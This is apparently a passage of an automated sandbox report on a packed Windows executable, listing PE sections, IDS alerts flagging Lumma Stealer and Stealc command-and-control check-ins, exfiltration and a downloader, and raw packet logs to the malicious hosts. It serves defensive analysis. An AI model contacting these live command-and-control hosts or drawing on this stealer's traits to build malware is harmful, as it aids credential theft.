add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	6184ff8222e718ad77e3ae14db4414cb	False	0.9973913741438356	data	7.977823417053287	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2b8000	0x200	babe87fb4db5703cfb3857fdfb81de8f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rjsyiznq	0x30c000	0x1a7000	0x1a6800	3a9b21ad14c4b5d575cd47b613cf78c7	False	0.9947670118343195	data	7.954404860591156	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nhpbixro	0x4b3000	0x1000	0x600	352d356c1f06423dbff5149709537495	False	0.568359375	data	5.0327222624179395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b4000	0x3000	0x2200	3bb0333f25da9776e5a19ab74f38926b	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T15:38:01.916385+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.6	50411	1.1.1.1	53	UDP
2024-12-16T15:38:03.397467+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49707	104.21.50.161	443	TCP
2024-12-16T15:38:03.397467+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49707	104.21.50.161	443	TCP
2024-12-16T15:38:04.128712+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49707	104.21.50.161	443	TCP
2024-12-16T15:38:04.128712+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49707	104.21.50.161	443	TCP
2024-12-16T15:38:05.360481+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49709	104.21.50.161	443	TCP
2024-12-16T15:38:05.360481+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	104.21.50.161	443	TCP
2024-12-16T15:38:06.086626+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49709	104.21.50.161	443	TCP
2024-12-16T15:38:06.086626+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	104.21.50.161	443	TCP
2024-12-16T15:38:07.659154+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49710	104.21.50.161	443	TCP
2024-12-16T15:38:07.659154+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	104.21.50.161	443	TCP
2024-12-16T15:38:10.238098+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49712	104.21.50.161	443	TCP
2024-12-16T15:38:10.238098+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	104.21.50.161	443	TCP
2024-12-16T15:38:12.545843+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49718	104.21.50.161	443	TCP
2024-12-16T15:38:12.545843+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49718	104.21.50.161	443	TCP
2024-12-16T15:38:14.918864+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49724	104.21.50.161	443	TCP
2024-12-16T15:38:14.918864+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49724	104.21.50.161	443	TCP
2024-12-16T15:38:15.654922+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49724	104.21.50.161	443	TCP
2024-12-16T15:38:17.308195+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49731	104.21.50.161	443	TCP
2024-12-16T15:38:17.308195+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49731	104.21.50.161	443	TCP
2024-12-16T15:38:20.936216+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	49740	104.21.50.161	443	TCP
2024-12-16T15:38:20.936216+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49740	104.21.50.161	443	TCP
2024-12-16T15:38:21.719551+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49740	104.21.50.161	443	TCP
2024-12-16T15:38:23.175021+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49747	185.215.113.16	80	TCP
2024-12-16T15:38:37.758861+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49782	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:38:02.164684057 CET	49707	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:02.164705038 CET	443	49707	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:02.164858103 CET	49707	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:02.170581102 CET	49707	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:02.170592070 CET	443	49707	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:03.397165060 CET	443	49707	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:03.397466898 CET	49707	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:03.401885986 CET	49707	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:03.401902914 CET	443	49707	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:03.402218103 CET	443	49707	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:03.461029053 CET	49707	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:03.473206043 CET	49707	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:03.473236084 CET	49707	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:03.473481894 CET	443	49707	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:04.128726006 CET	443	49707	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:04.128984928 CET	443	49707	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:04.129102945 CET	49707	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:04.133817911 CET	49707	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:04.133837938 CET	443	49707	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:04.143429995 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:04.143491030 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:04.143598080 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:04.143942118 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:04.143961906 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:05.360410929 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:05.360481024 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:05.361881971 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:05.361893892 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:05.362140894 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:05.363625050 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:05.363679886 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:05.363717079 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.086685896 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.086812973 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.086889982 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.086899042 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.086925983 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.086982012 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.087024927 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.087160110 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.087215900 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.087229967 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.101659060 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.101754904 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.101811886 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.101829052 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.101886034 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.110150099 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.160619020 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.207148075 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.254357100 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.278170109 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.281984091 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.282073021 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.282156944 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.282171011 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.282243967 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.282250881 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.282298088 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.282464027 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.282464027 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.282464027 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.436847925 CET	49710	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.436908960 CET	443	49710	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.437120914 CET	49710	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.437376976 CET	49710	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.437395096 CET	443	49710	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:06.504307985 CET	49709	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:06.504318953 CET	443	49709	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:07.658998966 CET	443	49710	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:07.659153938 CET	49710	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:08.033025026 CET	49710	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:08.033039093 CET	443	49710	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:08.034010887 CET	443	49710	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:08.035778999 CET	49710	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:08.036010981 CET	49710	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:08.036062002 CET	443	49710	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:08.846173048 CET	443	49710	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:08.846447945 CET	443	49710	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:08.846544027 CET	49710	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:08.846580029 CET	49710	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:08.846597910 CET	443	49710	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:08.950033903 CET	49712	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:08.950073004 CET	443	49712	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:08.950166941 CET	49712	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:08.950478077 CET	49712	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:08.950490952 CET	443	49712	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:10.237952948 CET	443	49712	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:10.238097906 CET	49712	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:10.240288973 CET	49712	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:10.240299940 CET	443	49712	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:10.240607023 CET	443	49712	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:10.241935015 CET	49712	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:10.241935968 CET	49712	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:10.241972923 CET	443	49712	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:10.242033958 CET	49712	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:10.287338972 CET	443	49712	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:11.148121119 CET	443	49712	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:11.148361921 CET	443	49712	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:11.148468971 CET	49712	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:11.148504972 CET	49712	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:11.148521900 CET	443	49712	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:11.326258898 CET	49718	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:11.326303959 CET	443	49718	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:11.326462030 CET	49718	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:11.326808929 CET	49718	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:11.326823950 CET	443	49718	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:12.545696020 CET	443	49718	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:12.545842886 CET	49718	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:12.547200918 CET	49718	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:12.547221899 CET	443	49718	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:12.547481060 CET	443	49718	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:12.548746109 CET	49718	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:12.548894882 CET	49718	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:12.548928976 CET	443	49718	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:12.548995972 CET	49718	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:12.549009085 CET	443	49718	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:13.428258896 CET	443	49718	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:13.428544044 CET	49718	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:13.428564072 CET	443	49718	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:13.428620100 CET	49718	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:13.703471899 CET	49724	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:13.703530073 CET	443	49724	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:13.703613043 CET	49724	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:13.703926086 CET	49724	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:13.703937054 CET	443	49724	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:14.918756008 CET	443	49724	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:14.918864012 CET	49724	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:14.920700073 CET	49724	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:14.920706987 CET	443	49724	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:14.920989037 CET	443	49724	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:14.922393084 CET	49724	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:14.922518015 CET	49724	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:14.922522068 CET	443	49724	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:15.654918909 CET	443	49724	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:15.655014038 CET	443	49724	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:15.655067921 CET	49724	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:15.655208111 CET	49724	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:15.655229092 CET	443	49724	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:16.093194008 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:16.093233109 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:16.093291044 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:16.093615055 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:16.093627930 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.308100939 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.308195114 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.309555054 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.309575081 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.310070038 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.315495014 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.316284895 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.316348076 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.316462040 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.316504002 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.316627979 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.316735029 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.317538977 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.317568064 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.317720890 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.317753077 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.317928076 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.317966938 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.317981958 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.318322897 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.318346024 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.359340906 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.359600067 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.359672070 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.359687090 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.403338909 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.403541088 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.403604984 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.403628111 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.447349072 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.447437048 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:17.495327950 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:17.678462982 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:19.523808956 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:19.523914099 CET	443	49731	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:19.524048090 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:19.524071932 CET	49731	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:19.716052055 CET	49740	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:19.716094017 CET	443	49740	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:19.716284990 CET	49740	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:19.716933012 CET	49740	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:19.716944933 CET	443	49740	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:20.935949087 CET	443	49740	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:20.936216116 CET	49740	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:20.937567949 CET	49740	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:20.937580109 CET	443	49740	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:20.937833071 CET	443	49740	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:20.939160109 CET	49740	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:20.939203978 CET	49740	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:20.939239979 CET	443	49740	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:21.719564915 CET	443	49740	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:21.719676971 CET	443	49740	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:21.719726086 CET	49740	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:21.719963074 CET	49740	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:38:21.719976902 CET	443	49740	104.21.50.161	192.168.2.6
Dec 16, 2024 15:38:21.722440004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:21.842412949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:21.842545986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:21.842778921 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:21.962553978 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.174896955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.174937963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.174951077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.175020933 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.175025940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.175034046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.175046921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.175054073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.175066948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.175079107 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.175102949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.175236940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.175245047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.175298929 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.295099974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.295114040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.295176983 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.367301941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.367357969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.367479086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.371474028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.371671915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.371882915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.379961014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.380059004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.380119085 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.388303995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.388367891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.388423920 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.396738052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.396881104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.396936893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.405080080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.405191898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.405255079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.413922071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.414108992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.414169073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.421848059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.421945095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.422019958 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.430301905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.430337906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.430449009 CET	49747	80	192.168.2.6	185.215.113.16
